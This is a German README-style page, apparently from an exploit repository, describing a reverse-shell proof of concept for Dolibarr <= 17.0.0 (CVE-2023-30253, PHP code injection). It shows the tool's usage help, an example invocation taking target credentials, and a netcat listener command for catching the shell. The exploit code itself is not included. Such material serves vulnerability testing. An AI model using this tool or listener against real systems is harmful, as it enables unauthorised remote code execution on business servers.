POC-Exploit für Dolibarr <= 17.0.0 (CVE-2023-30253)

Reverse-Shell-POC-Exploit für Dolibarr <= 17.0.0 (CVE-2023-30253), PHP-Code-Injection

Weitere Details zur Schwachstelle finden Sie hier

PoC

Hilfe des Exploits:

➜  python3 exploit.py -h
usage: python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>
example: python3 exploit.py http://example.com login password 127.0.0.1 9001

---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---

positional arguments:
  hostname    Target hostname
  username    Username of Dolibarr ERP/CRM
  password    Password of Dolibarr ERP/CRM
  lhost       Listening host for reverse shell
  lport       Listening port for reverse shell

options:
  -h, --help  show this help message and exit

Starten Sie Netcat auf Ihrem Host:

➜ nc -lvnp 9001

Führen Sie den Exploit aus (Beispiel):

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

Beliebteste